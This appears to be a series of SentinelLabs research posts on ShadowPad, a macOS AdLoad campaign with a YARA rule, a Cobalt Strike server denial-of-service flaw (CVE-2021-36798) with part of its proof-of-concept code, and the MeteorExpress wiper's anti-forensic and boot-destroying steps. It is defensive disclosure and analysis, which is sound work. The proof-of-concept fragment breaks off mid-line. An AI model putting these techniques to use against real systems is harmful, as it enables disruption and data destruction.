As luck would have it, the ShadowPad controller (version 1.0, 2015) was accidentally discovered during private research. All of the stakeholders involved agreed to our releasing screenshots but not the details of the actual file, so we are unable to provide hashes for this component at present.

Analysis of the controller allowed us to obtain a clear picture of how the builder generates the shellcodes, how the users manage the infected hosts, and the kinds of functions available on the controller.

Privately Shared Attack Framework or Privately Sold Modular Malware?

An intriguing question to address is whether ShadowPad is a privately shared attack framework or a privately developed modular malware platform for sale to specific groups. Its design allows the users to remotely deploy new plugins to a backdoor.  In theory, anyone capable of producing a plugin that is encrypted and compressed in the correct format can add new functionalities to the backdoor freely.

However, the control interfaces of the plugins are hardcoded in the “Manager” page of the ShadowPad controller, and the controller itself does not include a feature to add a new control interface.

The interfaces to control the plugins are hardcoded and listed in the “Manager” page

In other words, it is unlikely that ShadowPad was created as a collaborative attacking framework. Only the plugins produced by the original developer could be included and used through the ShadowPad controller.

On the other hand, even if the control interface of a plugin is listed in the menu, not every available plugin is embedded in the ShadowPad samples built by the controller by default. There is no configuration in the builder to allow the user to choose which plugins are compiled into the generated sample, so this setting can only be managed by the developer of the controller.

If ShadowPad was not originally designed as an open framework, the following question is whether it is freely shared with or sold to its users. The possible author ‘whg’ – and one of his close affiliates, Rose – have been monetizing their malware development and hacking skills since the early 2000s. Both individuals sold self-developed malware, and Rose offered services such as software cracking, penetration testing and DDoS attacks. If ShadowPad was developed by them or their close affiliates, it is more likely to be sold to – rather than freely shared with – other users under this context.

Selling the Plugins Separately Rather than Giving a Full Bundle by Default

The available functionalities to ShadowPad users are highly controlled by the seller of ShadowPad. Looking deeply into the plugin numbers and the distribution of different plugins embedded in around a hundred samples, we assessed that the seller is likely selling each plugin separately instead of offering a full bundle with all of the currently available plugins.

The number of samples grouped by the number of plugins in each sample

The image above groups the samples by the number of the plugins embedded in them. Most of the samples contain less than nine plugins with the following plugins embedded: Root, Plugins, Config, Install, Online, TCP, HTTP, UDP and DNS. This set of plugins can only support the installation of backdoors and communications with C&C servers, without providing further functionality.

What Threat Actors Are Using Shadowpad?

ShadowPad is sold privately to a limited set of customers. SentinelOne has identified at least five activity clusters of ShadowPad users since 2017:

  • APT41
  • Tick & Tonto Team
  • Operation Redbonus
  • Operation Redkanku
  • Fishmonger

In the full report, we discuss each in turn. Here, we will limit our observations to the most interesting points related to APT41.

APT41 is the accepted naming convention for the activities conducted by two spinoffs of what was once referred to as ‘Winnti’, sub-groups – BARIUM (Tan Dailin aka Rose and Zhang Haoran) and LEAD (Chengdu 404 Network Technology Co., Ltd).

All of the individuals are based in Chengdu, Sichuan. Rose (aka “凋凌玫瑰”), Zhang Haoran, and Jiang Lizhi (aka “BlackFox”, one of the persons behind Chengdu 404) were coworkers between 2011 and 2017, while Rose and BlackFox knew each other since at least 2006.

Rose started his active collaboration on malware development with whg, the author of PlugX, when he was a member of the hacking group NCPH back in 2005. They developed “NCPH Remote Control Software” together until 2007. The executable of the controller was freely shared on NCPH websites, but they also declared that the source code was for sale.

NCPH 5.0 Remote Control Software, developed back in 2005, was powered by whg and Rose
Rose and his friends sold the source code of “NCPH remote control software” on NCPH forum
BARIUM (Rose and Zhang Haoran) were one of the earliest threat groups with access to ShadowPad. Aside from some smaller-scale attacks against the gaming industry, they were accountable for several supply chain attacks from 2017 to 2018. Some of their victims included NetSarang, ASUS, and allegedly, CCleaner.

Another subgroup, LEAD, also used ShadowPad along with other backdoors to attack victims for both financial and espionage purposes. They were reported to attack electronic providers and consumers, universities, telecommunication, NGO and foreign governments.

Considering the long-term affiliation relationship between Rose and whg, we suspect that Rose likely had high privilege access to – or was a co-developer of – ShadowPad, and other close affiliates in Chengdu were likely sharing resources. This could also explain why BARIUM was able to utilize a special version of ShadowPad in some of their attacks.


The emergence of ShadowPad, a privately sold, well-developed and functional backdoor, offers threat actors a good opportunity to move away from self-developed backdoors. While it is well-designed and highly likely to be produced by an experienced malware developer, both its functionalities and its anti-forensics capabilities are under active development. For these threat actors, using ShadowPad as the primary backdoor significantly reduces the costs of development.

For security researchers and analysts tracking China-based threat actors, the adoption of the “sold – or cracked – commercial backdoor” raises difficulties in ascertaining which threat actor they are investigating. More systematic ways – for instance, analysis on the relationship between indicators, long-term monitoring on the activities and campaigns – need to be developed in order to carry out analytically-sound attribution. Any claim made publicly on the attribution of ShadowPad users requires careful validation and strong evidentiary support so that it can help the community’s effort in identifying Chinese espionage.

Read the full report for an extended discussion, full Indicators of Compromise and other technical indicators.

Read the Full Report

Read the Full Report

The post ShadowPad | A Masterpiece of Privately Sold Malware in Chinese Espionage appeared first on SentinelLabs.

Massive New AdLoad Campaign Goes Entirely Undetected By Apple’s XProtect

11 August 2021 at 12:55

Executive Summary

  • AdLoad is one of several widespread adware and bundleware loaders currently afflicting macOS.
  • In late 2019, SentinelLabs described how AdLoad was continuing to adapt and evade detection.
  • This year we have seen over 150 unique samples that are part of a new campaign that remain undetected by Apple’s on-device malware scanner.
  • Some of these samples have been known to have also been blessed by Apple’s notarization service.
  • We describe the infection pattern and detail the indicators of compromise for the first time.


AdLoad is one of several widespread adware and bundleware loaders currently afflicting macOS. AdLoad is certainly no newcomer to the macOS malware party. In late 2019, SentinelLabs described how AdLoad was continuing to adapt and evade detection, and this year we have seen another iteration that continues to impact Mac users who rely solely on Apple’s built-in security control XProtect for malware detection.

In this post, we detail one of several new AdLoad campaigns we are currently tracking that remain undetected by Apple’s macOS malware scanner. We describe the infection pattern and indicators of compromise for the first time and hope this information will help others to detect and remove this threat.

AdLoad | Staying One Step Ahead of Apple

AdLoad has been around since at least 2017, and when we previously reported on it in 2019, Apple had some partial protection against its earlier variants. Alas, at that time the 2019 variant was undetected by XProtect.

As of today, however, XProtect arguably has around 11 different signatures for AdLoad (it is ‘arguable’ because Apple uses non-industry standard names for its signature rules). As best as we can track Apple’s rule names to common vendor names, the following XProtect rules appear to be all partially or wholly related to AdLoad variants:

Signatures for AdLoad variants in XProtect

The good news for those without additional security protection is that the previous variant we reported in 2019 is now detected by XProtect, via rule 22d71e9.

An earlier AdLoad variant reported by SentinelLabs is now detected by XProtect
The bad news is the variant used in this new campaign is undetected by any of those rules. Let’s see what’s changed.

AdLoad 2021 Campaign | ‘System’ and ‘Service’

Both the 2019 and 2021 variants of AdLoad used persistence and executable names that followed a consistent pattern. In 2019, that pattern included some combination of the words “Search” , “Result” and “Daemon”, as in the example shown above: “ElementarySignalSearchDaemon”. Many other examples can be found here.

The 2021 variant uses a different pattern that primarily relies on a file extension that is either .system or .service. Which file extension is used depends on the location of the dropped persistence file and executable as described below, but typically both .system and .service files will be found on the same infected device if the user gave privileges to the installer.

With or without privileges, AdLoad will install a persistence agent in the user’s Library LaunchAgents folder with patterns such as:


To date, we have found around 50 unique label patterns, with each one having both a .service and a .system version. Based on our previous understanding of AdLoad, we expect there to be many more.

When the user logs in, the AdLoad persistence agent will execute a binary hidden in the same user’s ~/Library/Application Support/ folder. That binary follows another deterministic pattern, whereby the child folder in Application Support is prepended with a period and a random string of digits. Within that directory is another directory called /Services/, which in turn contains a minimal application bundle having the same name as the LaunchAgent label. That barebones bundle contains an executable with the same name but without the com. prefix. For example:

~/Library/Application Support/.3276169528277499560/Services/com.SwitcherGuard.service/SwitcherGuard.service
Indicators of compromise in the User’s Library Application Support folder

A hidden tracker file called .logg and containing only a UUID string is also dropped in the Application Support folder. Despite the location, if the dropper has also been granted privileges, then the tracker file is owned by root rather than the user.

The hidden tracker file in the User’s Library Application Support folder

Further, assuming the user supplied admin privileges as requested by the installer, another persistence mechanism is written to the domain /Library/LaunchDaemons/ folder. This plist file uses the file extension .system, and the corresponding folder in the hidden Application Support folder is also named /System/ instead of /Services/.

Indicators of compromise in the Domain Library Application Support folder

The LaunchDaemon is dropped with one of a number of pre-determined labels that mirrors the label used in the LaunchAgent, such as:


The persistence plists themselves pass different arguments to the executables they launch. For the system daemon, the first argument is -t and the second is the plist label. For the user persistence agent, the arguments -s and 6600 are passed to the first and second parameters, respectively.

AdLoad 2021 macOS persistence pattern

Interestingly, the droppers for this campaign share the same pattern as Bundlore/Shlayer droppers. They use a fake Player.app mounted in a DMG. Many are signed with a valid signature; in some cases, they have even been known to be notarized.

Like much other adware, AdLoad makes use of a fake Player.app to install malware

Typically, we observe that developer certificates used to sign the droppers are revoked by Apple within a matter of days (sometimes hours) of samples being observed on VirusTotal, offering some belated and temporary protection against further infections by those particular signed samples by means of Gatekeeper and OCSP signature checks. Also typically, we see new samples signed with fresh certificates appearing within a matter of hours and days. Truly, it is a game of whack-a-mole.

The droppers we have seen take the form of a lightly obfuscated Zsh script that decompresses a number of times before finally executing the malware out of the /tmp directory (for a discussion of how to deobfucscate such scripts see here).

The dropper executes a shell script obfuscated several times over

The final payload is not codesigned and isn’t known to the current version of Apple’s XProtect, v2149.

The malware executes out of /tmp/ and is neither codesigned nor known to XProtect
Once infection is complete, the adware pops the following page in the user’s default browser

How New Is This Variant of AdLoad?

In our investigation, we found over 220 samples of this adware variant on VirusTotal, in both packed and unpacked form. At least 150 of these are unique. Interestingly, a lone sample of this variant was documented by analysts at Confiant, who described the malware’s string decryption routine in a post published on June 3rd, 2021. According to these researchers, the sample they observed had been notarized by Apple.

We note that across our corpus, all samples from November 2020 to August 2021 use the same or similar string decryption routine as that described by Confiant. Similarly, the earlier researchers’ sample, “MapperState.system” conforms to the AdLoad naming pattern that we observed and described above. Both these indicators definitively link our findings with theirs.

AdLoad binaries use a great deal of obfuscation, including custom string encryption
Three different samples, all using a similar string encryption routine

Our research showed that samples began to appear at least as early as November 2020, with regular further occurrences across the first half of 2021. However, there appears to have been a sharp uptick throughout July and in particular the early weeks of August 2021.

It certainly seems possible that the malware developers are taking advantage of the gap in XProtect, which itself has not been updated since a few week’s after Confiant’s research over two months ago. At the time of writing, XProtect was last updated to version 2149 around June 15th – 18th.

Version 2149 is the most recent version of Apple’s XProtect as of August 11th

None of the samples we found are known to XProtect since they do not match any of the scanner’s current set of AdLoad rules.

Running XProtect v2149 against 221 known samples shows no detections

However, there is reasonably good detection across a variety of different vendor engines used by VirusTotal for all the same samples that XProtect doesn’t detect.

All the samples are detected by various VT vendor engines

On our test machine, we set the policy of the SentinelOne Agent to “Detect only” in order  to allow the malware to execute and observe its behaviour. In the Management console, the behavioral detection is mapped to the relevant MITRE indicators.

Behavioral Indicators from the SentinelOne agent

Since AdLoad is a common adware threat whose behavior of hijacking search engine results and injecting advertisements into web pages has been widely documented in the past, we ended our observation at this juncture.


As Apple itself has noted and we described elsewhere, malware on macOS is a problem that the device manufacturer is struggling to cope with. The fact that hundreds of unique samples of a well-known adware variant have been circulating for at least 10 months and yet still remain undetected by Apple’s built-in malware scanner demonstrates the necessity of adding further endpoint security controls to Mac devices.

As we indicated at the beginning of this post, this is only one campaign related to AdLoad that we are currently tracking. Further publications related to these campaigns are in progress.

Indicators of Compromise

YARA Hunting Rule

private rule Macho
		description = "private rule to match Mach-O binaries"
		uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca

rule adload_2021_system_service
		description = "rule to catch Adload .system .service variant"
		author = "Phil Stokes, SentinelLabs"
		version = "1.0"
		last_modified = "2021-08-10"
		reference = "https://s1.ai/adload"
		$a = { 48 8D 35 ?? ?? 00 00 48 8D 5D B8 BA B8 00 00 00 48 89 DF E8 ?? ?? FB FF 48 8B 43 08 48 2B 03 66 48 0F 6E C0 66 0F 62 05 ?? ?? 00 00 66 0F 5C 05 ?? ?? 00 00 0F 57 C9 66 0F 7C C0 48 8D 7D A0 0F 29 0F F2 0F 59 05 }
		Macho and all of them

Persistence Filepaths


Executable Paths

~/Library/Application\ Support/.[0-9]{19}/Services/com.<label>.service/<label>.service
/Library/Application\ Support/.[0-9]{19}/System/com.<label>.system/<label>.system




T1211 Defense Evasion
T1105 Remote File Copy
T1160 Persistence


.service, .system files


Note: Some of these droppers may deliver different payloads.

The post Massive New AdLoad Campaign Goes Entirely Undetected By Apple’s XProtect appeared first on SentinelLabs.

Hotcobalt – New Cobalt Strike DoS Vulnerability That Lets You Halt Operations

4 August 2021 at 12:58

Executive Summary

  • Versions 4.2 and 4.3 of Cobalt Strike’s server contain multiple Denial of Service vulnerabilities (CVE-2021-36798).
  • The vulnerabilities can render existing Beacons unable to communicate with their C2 server, prevent new beacons from being installed, and have the potential to interfere with ongoing operations.
  • We have released a new Python library to help generically parse Beacon communication in order to help the research security community.


Cobalt Strike is one of the most popular attack frameworks designed for Red Team operations. At the same time, many APTs and malicious actors also use it.

SentinelOne has seen numerous attacks involving Cobalt Strike Beacons across our customer base. SentinelOne detects Cobalt Strike Beacon and we are constantly rolling out new ways to detect modifications or novel ways to load Beacon in memory.

Given its rampant adoption by red teams and attackers alike, we wanted to better understand the operational security of Cobalt Strike. This led us to discover the vulnerabilities reported in CVE-2021-36798 and which we describe below.

Beacon Communications

To understand the vulnerabilities we found, we will briefly cover how Cobalt Strike Beacon communication works.

The first time the Cobalt Strike server runs, it creates randomly generated RSA keys, private and public, stored in a file named “.Cobalt Strike.beacon_keys”. Every Beacon stager has the public key embedded in it.

We can get the Beacon’s public RSA key by parsing its configuration

When a Beacon stager runs, it gathers information about the computer it is running on (CPU architecture, keyboard layout, internal IP, etc.), encrypts that info using the public key, and sends it to the server in an HTTP GET request. We will refer to that part as “Beacon registration”.

After the Beacon has registered with the server, the attacker can interact with the Beacon. From this point, the Beacon works by receiving and replying to “tasks”. Tasks can, for example, be used to get a process list, run a command, conduct lateral movement, and many other things of interest to the attacker.

Receiving tasks generally happens over HTTP GET requests and the Beacon replies with the task data over HTTP POST requests. Tasks are encrypted using an AES key sent by the Beacon in the registration request. The entire communication flow is explained in the official documentation, but the outline above should suffice for what follows.

One of the most famous features of Cobalt Strike is its Malleable C2. In short, this feature lets the attacker encode (“transform” in Cobalt’s language) all the beacon’s HTTP communications. The entire process described above is wrapped in the chosen Malleable profile’s transformation steps, which are also embedded in the stager itself.

Below is an example of a popular Malleable C2 profile that masquerades traffic as a normal request for the jquery code (source):

An example of a popular Malleable C2 profile


First, it should be noted that there was already one known vulnerability in Cobalt Strike that was previously reported. A great write-up written by nccgroup is worth reading for a more in-depth understanding of Beacon’s communication internals. In practice, that vulnerability allowed for remote code execution on the server.

We’re not interested in remote code execution vulnerability here as it would be overkill for our purposes. Considering that the server’s code is written in Java and isn’t very large, it wasn’t too hard to find bugs there.

For example, in the Screenshot and Keylogger task replies, there’s an interesting behavior when reading the reply’s data:

public void process_beacon_callback_decrypted(final String beaconID, final byte[] responseBytes) {
// Sanity checks here
try {
final DataInputStream responeBytesStream = new DataInputStream(new ByteArrayInputStream(responseBytes));
cmd = responeBytesStream.readInt();
if (cmd == 0) {...}
else if (cmd == 3) {
	final DataParser dp = new DataParser(CommonUtils.readAll(responeBytesStream));
	final byte[] scData = dp.readCountedBytes();    // Bug #1 here
	final int scDesktop = dp.readInt();
	final String scTitle = this.getCharsets().process(beaconID, dp.readCountedBytes());
	final String process6 = this.getCharsets().process(beaconID, dp.readCountedBytes());
	if (scData.length == 0) {
		output(BeaconOutput.Error(beaconID, "screenshot from desktop " + scDesktop + " is empty"));
	output(BeaconOutput.OutputB(beaconID, "received screenshot of " + scTitle + " from " + process6 + " (" + CommonUtils.formatSize(scData.length) + ")"));

In this example, we see the parsing of a screenshot task reply. To read the screenshot’s data, it calls the function readCountedBytes, which reads an integer from the first four bytes of the data and treats it as the screenshot’s size without any sanity checks.

Then, before reading the screenshot’s data, it allocates a buffer big enough to hold it:

byte[] array = new byte[ReplySize];

By manipulating the screenshot’s size we can make the server allocate an arbitrary size of memory, the size of which is totally controllable by us. However, in order to trigger this piece of code, we need to be able to talk to the server like a Beacon.

By combining all the knowledge of Beacon communication flow with our configuration parser, we have all we need to fake a Beacon.

We’ve published a POC python script that does just that: it parses a Beacon’s configuration and uses the information stored in it to register a new random Beacon on the server. After registering the Beacon, it’s pretty trivial to use the primitive found above to iteratively send fake task replies that squeeze every bit of available memory from the C2’s web server thread:

size = 1000000000
while True:
        if size 

This leads to the crashing of the server’s web thread that handles HTTP stagers and Beacon communication:

Crashing the server's web thread

This would allow an attacker to cause memory exhaustion in the Cobalt Strike server  (the “Teamserver”) making the server unresponsive until it's restarted. This means that live Beacons cannot communicate to their C2 until the operators restart the server.

Restarting, however, won’t be enough to defend against this vulnerability as it is possible to repeatedly target the server until it is patched or the Beacon’s configuration is changed.

Either of these will make the existing live Beacons obsolete as they’ll be unable to communicate with the server until they’re updated with the new configuration. Therefore, this vulnerability has the potential to severely interfere with ongoing operations.

Although used every day for malicious attacks, Cobalt Strike is ultimately a legitimate product, so we have disclosed these issues responsibly to HelpSystems and they have fixed the vulnerabilities in the last release.


On our Cobalt Strike parser repository, we’ve added new modules and code examples that implement:

  • Parsing of a Beacon’s embedded Malleable profile instructions
  • Parsing of a Beacon’s configuration directly from an active C2 (like the popular nmap script)
  • Basic code for communicating with a C2 as a fake Beacon

Other than registering a fake Beacon with the server, the code we are releasing makes it easier to parse captured Beacon communications in a generic way.

Let’s take, for example, a case of a captured unencrypted Beacon communication from malware-traffic-analysis and decode it using the new communication module:

from urllib import parse
from pcaper import PcapParser
from parse_beacon_config import *
from comm import *

conf = cobaltstrikeConfig(r"beacon.bin").parse_config()
pparser = PcapParser()
reqs = pparser.read_pcap({'input': r"2019-07-25-Hancitor-style-Amadey-with-Pony-and-Cobalt-Strike.pcap"})

t = Transform(conf['HttpPost_Metadata'])
for req in reqs:
	if conf['HttpPostUri'] in req.uri:
		params = {k: v[0] for k, v in parse.parse_qs(parse.urlsplit(req.uri).query).items()}		
		print('\n\nFound beacon reply:\n', t.decode(req.body, req.headers, params)[1])


Found beacon reply:
 ♠r↓ (platform: 500 version: 6.1 name: HIDDENROAD-PC domain: WORKGROUP)
Scanner module is complete

Found beacon reply:
 ☺►[*] Wrote hijack DLL to 'C:\Users\SARAH~1.RUT\AppData\Local\Temp\745f.dll'
[+] Privileged file copy success! C:\Windows\System32\sysprep\CRYPTBASE.dll
[+] C:\Windows\System32\sysprep\sysprep.exe ran and exited.
[*] Cleanup successful

It parses the Malleable C2 instructions embedded in the Beacon’s configuration and uses it to decode Beacon replies from the captured HTTP requests.

There’s a lot that can be done with this new communication library and it will be interesting to see what other researchers from the community will do with it.


Research into attack frameworks like Cobalt Strike and Cellebrite is still a niche area. We hope that this research and the tools we have released help to further encourage research into the robustness of attack frameworks and expand the range of available options when facing their consistent abuse.

Disclosure Timeline

We would like to thank HelpSystems for their approach to our disclosure and for remediating the vulnerabilities.

04/20/2021 - Initial contact with HelpSystems for issue disclosure.
04/22/2021 - Issue details disclosed to HelpSystems.
04/23/2021 - HelpSystems confirmed the issue and asked for an extension until August 3rd.
04/28/2021 - SentinelOne accepted the extension.
07/18/2021 - Submitted CVE request to MITRE.
07/19/2021 - CVE-2021-36798 was assigned and reserved for the specified issue.
08/02/2021 - SentinelOne shared the publication date and post for review.
08/02/2021 - HelpSystems reviewed and confirmed the post for publication.
08/04/2021 - HelpSystems released Cobalt Strike 4.4, which contains a fix for CVE-2021-36798.

All issues found by SentinelOne are disclosed to the relevant third party according to our Responsible Disclosure Policy for Third Parties.

The post Hotcobalt – New Cobalt Strike DoS Vulnerability That Lets You Halt Operations appeared first on SentinelLabs.

MeteorExpress | Mysterious Wiper Paralyzes Iranian Trains with Epic Troll

29 July 2021 at 10:56

Executive Summary

  • On July 9th, 2021 a wiper attack paralyzed the Iranian train system.
  • The attackers taunted the Iranian government as hacked displays instructed passengers to direct their complaints to the phone number of the Iranian Supreme Leader Khamenei’s office.
  • SentinelLabs researchers were able to reconstruct the majority of the attack chain, which includes an interesting never-before-seen wiper.
  • OPSEC mistakes let us know that the attackers refer to this wiper as ‘Meteor’, prompting us to name the campaign MeteorExpress.
  • At this time, we have not been able to tie this activity to a previously identified threat group nor to additional attacks. However, the artifacts suggest that this wiper was developed in the past three years and was designed for reuse.
  • To encourage further discovery of this new threat actor, we are providing indicators as well as hunting YARA rules for fellow security researchers.


On July 9th, 2021 reports began to surface of a wiper attack disrupting service for the Iranian railway system. The attack included epic level trolling as reports suggest that train schedule displays cited “long delay[s] because of cyberattack” along with instructions to contact ‘64411’ –the number for the office of Supreme Leader Ali Khamenei.

Iran International (Twitter)

Early reporting did not pick up much steam as it’s not uncommon for Iranian authorities to vaguely point the finger towards cyber attacks only to retract the claims later. But it doesn’t hurt to check.

We would like to acknowledge security researcher Anton Cherepanov who pointed out an early analysis (Farsi) by an Iranian antivirus company. Despite a lack of specific indicators of compromise, we were able to recover most of the attack components described in the post along with additional components they had missed. Behind this outlandish tale of stopped trains and glib trolls, we found the fingerprints of an unfamiliar attacker.

The Attack Chain

MeteorExpress Attack Chain

Though early reports did not include technical specifics, we were able to reconstruct most of the attack components relying on a combination of factors – early analysis by Padvish security researchers as well as a recovered attacker artifact that included a longer list of component names. The attackers abused Group Policy to distribute a cab file to conduct their attack.

The overall toolkit consists of a combination of batch files orchestrating different components dropped from RAR archives. The archives decompressed with an attacker supplied copy of Rar.exe coupled with the password ‘hackemall’. The wiper components are split by functionality: Meteor encrypts the filesystem based on an encrypted configuration, nti.exe corrupts the MBR, and mssetup.exe locks the system.

While we were able to recover a surprising amount of files for a wiper attack, some have eluded us. The MBR corrupter, nti.exe, is most notable among those missing components as Padvish researchers noted that the sectors overwritten by this component are the same as those overwritten by NotPetya. Until we are able to find this file, we can’t corroborate their finding.

The following is a breakdown of the central components of this attack.

The Batch Files

The majority of the attack is orchestrated via a set of batch files nested alongside their respective components and chained together in successive execution.

The following is a short description of the main functionality of these batch files.


setup.bat is the first component executed via group policy. Interestingly, it deletes a scheduled task called ‘AnalyzeAll’ under the Windows Power Efficiency Diagnostics directory. At this time, we haven’t been able to identify this task. This batch file is responsible for copying the initial components via a CAB file in a network share within the Iranian railways network. The CAB file is expanded and update.bat is executed with the parameters ‘hackemall’, relevant paths, and the Meteor wiper executable (env.exe).


envxp.bat appears to be a simpler alternative version of setup.bat. As the name suggests, perhaps it’s intended for Windows XP.

update.bat is a well written batch script that takes care of placing the remaining files and directing the remainder of the execution flow by calling the successive batch scripts. It takes three arguments: the password for the rar archives, the working directory, and the location of the payload. If the first two parameters are empty, it’ll exit smoothly. In the absence of a payload, the script attempts to run msapp.exe. That component is listed in the Padvish security writeup but the execution flow via setup.bat points to env.exe as the intended payload. We’ll delve into this component below.

update.bat’s makeshift mutex

The script checks for a hardcoded ‘lock_file’ under C:\Windows\Temp\__lock6423900.dat. The file serves as a makeshift mutex to avoid double execution and could double as a vaccine to avoid infection during development.

update.bat directing the execution flow to subsequent batch files

The batch file uses its own copy of WinRAR to decompress additional components from three additional archives (programs.rar, bcd.rar, ms.rar) using the same Pokemon-themed password, “hackemall” (Hack ’Em All). With each RAR archive, update.bat calls a subsequent batch archive before deleting the respective archive. The developers are very careful about cleaning up their components as soon as they’re used.

At this point the execution begins to bifurcate into other scripts. The first one is cache.bat, which focuses on clearing obstacles and preparing the ground for subsequent elements with the use of PowerShell.

cache.bat disabling network adapters and checking for Kaspersky antivirus

cache.bat performs three main functions. First, it will disconnect the infected device from the network. Then it checks to see if Kaspersky antivirus is installed on the machine, in which case it’ll exit.

cache.bat creating Windows Defender exclusions for attack components

Finally, cache.bat will create Windows Defender exclusions for all of its components, effectively clearing the way for a successful infection without impediments. This script proved particularly valuable for us in rebuilding the entire attack chain as it lists most of the attack components giving us a threat hunting shopping list of sorts. It’s worth noting that this is the only batch script we’ve recovered that embeds PowerShell.

Subsequently, update.bat calls bcd.bat, which serves two functions: rendering the machine unbootable and cleaning up event logs.

bcd.bat script overwrites boot.ini
In order to disable the machine’s ability to boot up, bcd.bat creates an alternative boot.ini file that points the bootloader to impossibly high disk and partition numbers (10000000) and overwrites the system’s copy of boot.ini. The script then uses the native bcdedit command to list boot option identifiers and deletes each.
bcd.bat clears event logs

The attackers then use the native wevtutil command to clear Security, System, and Application event logs. And finally, it abuses a legitimate SysInternals tool called Sync (the equivalent of the native UNIX sync()) to manually flush the cache of filesystem data to disk.

update.bat will then call msrun.bat, passing the Meteor wiper executable as a parameter. That script will in turn set the stage for its execution.

msrun.bat preparing to execute the Meteor wiper

msrun.bat moves several components into place including a screen locker (mssetup.exe) and the encrypted configuration for the Meteor wiper (msconf.conf). The script also moves four additional files: mscap.bmp, mscap.jpg, mssetup.reg, msuser.reg. At the time of writing, we were unable to recover the .reg files and have no indication of what role they play. The image files are the background images that will replace the wallpaper on locked machines.

mscap.jpg lockscreen image

The same script then creates a scheduled task called mstask set to execute the Meteor wiper at five minutes to midnight.

update.bat calls the wiper and screen locker

The final portion of update.bat checks whether mssetup.exe and the Meteor wiper are running, taking appropriate actions like exiting the script or restarting the machine as necessary.

A Wiper Triad

There’s a strange level of fragmentation to the overall toolkit. Batch files spawn other batch files, different rar archives contain intermingled executables, and even the intended action is separated into three payloads: Meteor wipes the filesystem, mssetup.exe locks the user out, and nti.exe presumably corrupts the MBR. We have been able to identify two out of three components and detail their inner workings below.

Internal naming convention visible within the wiper binary

The main payload of this convoluted attack chain is an executable dropped under env.exe or msapp.exe. Internally, the coders refer to it as ‘Meteor’. While this particular instance of Meteor suffers from a crippling OPSEC failure (the inclusion of verbose debug strings presumably intended for internal testing), it’s an externally configurable wiper with an extensive set of features.




Compilation Timestamp
2021-01-17 18:59:25

First Submission
2021-07-12 06:01:11


ITW names
env.exe / msapp.exe

The Meteor wiper is executed as a scheduled task, called mstask and set to run at five minutes to midnight. It’s supplied with a single argument, an encrypted JSON configuration file, msconf.conf (68e95a3ccde3ea22b8eb8adcf0ad53c7993b2ea5316948e31d9eadd11b5151d7), that holds values for corresponding keys contained in cleartext within the binary:


At its most basic functionality, the Meteor wiper takes a set of paths from the encrypted config and walks these paths, wiping files. It also makes sure to delete shadow copies and removes the machine from the domain to avoid means of quick remediation. The wiper includes a wealth of additional functionality, most of which isn’t used in this particular attack, including:

  • Changing passwords for all users
  • Disabling screensavers
  • Process termination based on a list of target processes
  • Installing a screen locker
  • Disabling recovery mode
  • Changing boot policy error handling
  • Creating scheduled tasks
  • Logging off local sessions
  • Changing lock screen images for different Windows versions (XP, 7, 10)
  • Creating processes and executing commands
Meteor wiper attempts two different methods to remove victim machine from Domain

The developers resort to multiple redundant methods to accomplish each of their objectives. For example, Meteor will attempt to remove the machine from the domain via WinApi functions. If that fails it will then attempt to do the same via an equivalent WMI command.

Taking a step back to evaluate the development of Meteor and what it might tell us about the threat group involved, we must note that the composition of this binary is beset by contradictory practices.

First, the code is rife with sanity checks, error checking, and redundancy in accomplishing its goals. However, the operators clearly made a major mistake in compiling a binary with a wealth of debug strings meant for internal testing. The latter is an indication that despite whatever advanced practices the developers have in their arsenal, they lack a robust deployment pipeline that ensures such mistakes do not happen. Moreover, note that this sample was compiled six months before its deployment and the mistake was not caught.

Lock My PC 4 embedded within Meteor

Secondly, the code is a bizarre amalgam of custom code that wraps open-source components (cpp-httplib v0.2) and practically ancient abused software (FSProLabs’ Lock My PC 4). While that might suggest that the Meteor wiper was built to be disposable, or meant for a single operation, that’s juxtaposed with an externally configurable design that allows efficient reuse for different operations. Many of the available keys are not instantiated in this operation, like the ability to kill specific processes. Additionally, that external configuration is encrypted, presumably to limit analysis, but all of the configurable keys are hardcoded in plaintext within the main binary.

Meteor overwrites boot.ini with the same template as bcd.bat

Taking a step back to look at the entire toolkit deployed in this operation, there are also some overlaps between the functionality contained within Meteor and that of other components executed beforehand that suggest some operational segmentation between developers of different components and the operators themselves. Functionality carried out with batch scripts is also embedded within Meteor such as disabling network adapters and corrupting boot.ini. The wiper also includes a commercial screen locker and yet this functionality is redundantly instantiated through a separate binary, mssetup.exe.

The externally configurable nature of the wiper entails that it wasn’t created for this particular operation. However, at the time of writing, we’ve been unable to find other attacks or variants of the Meteor wiper. For that reason, we are supplying a very broad (but well tested) hunting YARA rule below.

‘mssetup.exe’ Screenlocker

mssetup.exe’s WinMain() function

The MeteorExpress operators drop a standalone screenlocker. Despite a wealth of C++ template and exception handling code, mssetup.exe is simple. Most of its functionality is pictured above. It blocks user input before creating a Window that fills the entire screen. If an image is available at the hardcoded path C:\temp\mscap.bmp (dropped by the msrun.bat script), then it’ll use this image to fill the screen. Otherwise, it’ll draw a black rectangle. It’ll then disable the cursor and effectively lock the user out entirely. It’s worth noting that though this binary was clearly developed by the same production pipeline, it doesn’t include any of the verbose debug strings nor overt logging functionality.




Compilation Timestamp
2021-01-17 18:59:28

First Submission
2021-07-12 06:04:15


ITW names

A Missing MBR Corruptor

Finally, the Padvish security blog makes reference to an additional executable, nti.exe, that serves as an MBR corruptor. We’ve been unable to recover this at this time and suspect that the incident responders were unable to recover it themselves as their analysis centers on the corrupted MBRs rather than the binary.

Description of nti.exe Google translated from Farsi
One interesting claim in the Padvish blog is that the manner in which nti.exe corrupts the MBR is by overwriting the same sectors as the infamous NotPetya. While one’s first instinct might be to assume that the NotPetya operators were involved or that this is an attempt at a false flag operation, it’s important to remember that NotPetya’s MBR corrupting scheme was mostly cribbed from the original Petya used for criminal operations. An additional inconsistency from the Padvish blog is their claim that update.bat runs nti.exe. While they’re likely referring to a different version in their possession, our copy of update.bat makes no overt reference to nti.exe.


Conflict in cyberspace is overpopulated with increasingly brazen threat actors. Behind the artistry of this epic troll lies an uncomfortable reality where a previously unknown threat actor is willing to leverage wiper malware against public railways systems. The attacker is an intermediate level player whose different operational components sharply oscillate from clunky and rudimentary to slick and well-developed.

